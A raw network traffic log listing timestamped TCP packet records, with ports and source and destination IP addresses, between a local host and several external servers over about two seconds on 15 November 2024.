Nov 15, 2024 16:16:25.046480894 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.046502113 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.046947002 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.046952963 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.048621893 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.048722982 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.051218033 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.051229000 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.051882982 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.051888943 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.053709030 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.053729057 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.054209948 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.054217100 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.058326960 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.058698893 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.058711052 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.059237957 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.059242964 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.145625114 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.145648003 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.145713091 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.145714998 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.146004915 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.152179003 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.152179003 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.152201891 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.152211905 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.159653902 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:25.160793066 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:25.164632082 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:25.165585995 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.165620089 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.165750980 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:25.165776014 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.166142941 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:25.167140961 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.167150021 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.167282104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:25.167301893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:25.172166109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:25.172193050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:25.172297001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:25.172322035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:25.179641008 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.179670095 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.179733038 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.179784060 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.179784060 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.180010080 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.180010080 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.180021048 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.180030107 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.182662010 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.182734966 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.182832003 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.182954073 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.182977915 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.183121920 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.183187008 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.183187008 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.183211088 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.183216095 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.185890913 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.185929060 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.186048985 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.186358929 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.186372042 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.186767101 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.186800957 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.186820984 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.186827898 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.190336943 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.190356016 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.190428972 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.191934109 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.191948891 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.192054987 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.192162037 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.192174911 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.192447901 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.192464113 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.194900036 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.194986105 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.195091009 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.195194960 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.195194960 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.195218086 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.195244074 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.198314905 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.198359966 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.198431969 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.198709011 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.198725939 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.283409119 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:25.283452034 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:25.284442902 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:25.284806967 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:25.284823895 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:25.430547953 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.542875051 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.542937040 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.633583069 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.633603096 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.827817917 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:25.827850103 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:25.827997923 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:25.828474998 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:25.828486919 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:25.872157097 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.872241974 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.872328997 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.872674942 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.872705936 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.925769091 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.926408052 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.927525997 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.927619934 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.928524017 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.928581953 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.930432081 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.930449009 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.930722952 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.930740118 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.937668085 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.938138962 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.938158035 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.938616037 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.938621998 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.955507994 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.964041948 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.964082956 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.964783907 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.964790106 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.984316111 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.984349966 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.985024929 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.985269070 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.985281944 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:26.053716898 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.054039955 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.054157972 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.054951906 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.054951906 CET	49764	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.054990053 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.055013895 CET	443	49764	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.056555033 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.056777954 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.056838036 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.057389021 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.057389021 CET	49760	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.057403088 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.057414055 CET	443	49760	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.058187962 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.058207989 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.058451891 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.059180975 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.059192896 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.059559107 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.059571981 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.059905052 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.060113907 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.060125113 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.065592051 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.065656900 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.065761089 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.065788984 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.065800905 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.065810919 CET	49761	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.065814972 CET	443	49761	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.069725990 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.069746017 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.069809914 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.069950104 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.069958925 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.091492891 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.092251062 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.092317104 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.092331886 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.092339993 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.092348099 CET	49763	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.092350960 CET	443	49763	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.094692945 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.094705105 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.095068932 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.095197916 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.095207930 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.123682976 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.125788927 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.125809908 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.128048897 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.128062963 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.171183109 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:26.171670914 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:26.171683073 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:26.173103094 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:26.173258066 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:26.174359083 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:26.174439907 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:26.258514881 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.258662939 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.258842945 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.300896883 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.300920010 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.300936937 CET	49762	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.300945044 CET	443	49762	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.307236910 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.307264090 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.307414055 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.307651997 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.307663918 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.314604998 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:26.314618111 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:26.351332903 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.351347923 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.351418018 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.351666927 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.351681948 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.356688023 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.356734991 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.356796026 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.357075930 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.357112885 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.428442955 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:26.494828939 CET	49793	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:26.494857073 CET	443	49793	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:26.494915009 CET	49793	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:26.495491982 CET	49793	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:26.495503902 CET	443	49793	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:26.567862988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:26.567998886 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:26.697485924 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.697724104 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.697745085 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.698198080 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.698204994 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.698257923 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.698265076 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.698323011 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.699400902 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.700582981 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.700746059 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.700752974 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.700783014 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.794152021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:26.799014091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:26.806322098 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.806338072 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.814029932 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.815155983 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.816364050 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.822645903 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.822668076 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.823928118 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.823935032 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.825059891 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.825073004 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.825514078 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.825541019 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.825922966 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.825936079 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.826088905 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.826092005 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.832370996 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.833713055 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.833736897 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.834140062 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.834146976 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.926886082 CET	49794	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.926934958 CET	443	49794	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.927041054 CET	49794	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.927272081 CET	49794	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.927285910 CET	443	49794	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.927438974 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.948441029 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.948575974 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.948632956 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.948813915 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.948826075 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.948834896 CET	49784	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.948839903 CET	443	49784	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.949825048 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.949887991 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.950216055 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.950289011 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.950335979 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.950371027 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.950397968 CET	49785	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.950413942 CET	443	49785	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.950416088 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.950474024 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.951034069 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.951045036 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.951055050 CET	49783	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.951061010 CET	443	49783	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.951575994 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:26.951658010 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:26.952016115 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.952059031 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.953217030 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.953252077 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.953253984 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.953306913 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.954401016 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.954446077 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.954552889 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.954577923 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.954581976 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.954798937 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.954837084 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.954894066 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.954917908 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.954919100 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.954926014 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.956454039 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.956474066 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.959243059 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.959301949 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.959307909 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.963077068 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.963457108 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.963498116 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.963520050 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.963534117 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.963551044 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.963625908 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.963640928 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.963649988 CET	49786	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.963656902 CET	443	49786	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.964653015 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.964706898 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.965035915 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.965787888 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.965857983 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.965950012 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.965958118 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.966142893 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.966176033 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.967401028 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.967422962 CET	443	49798	13.107.246.45	192.168.2.5
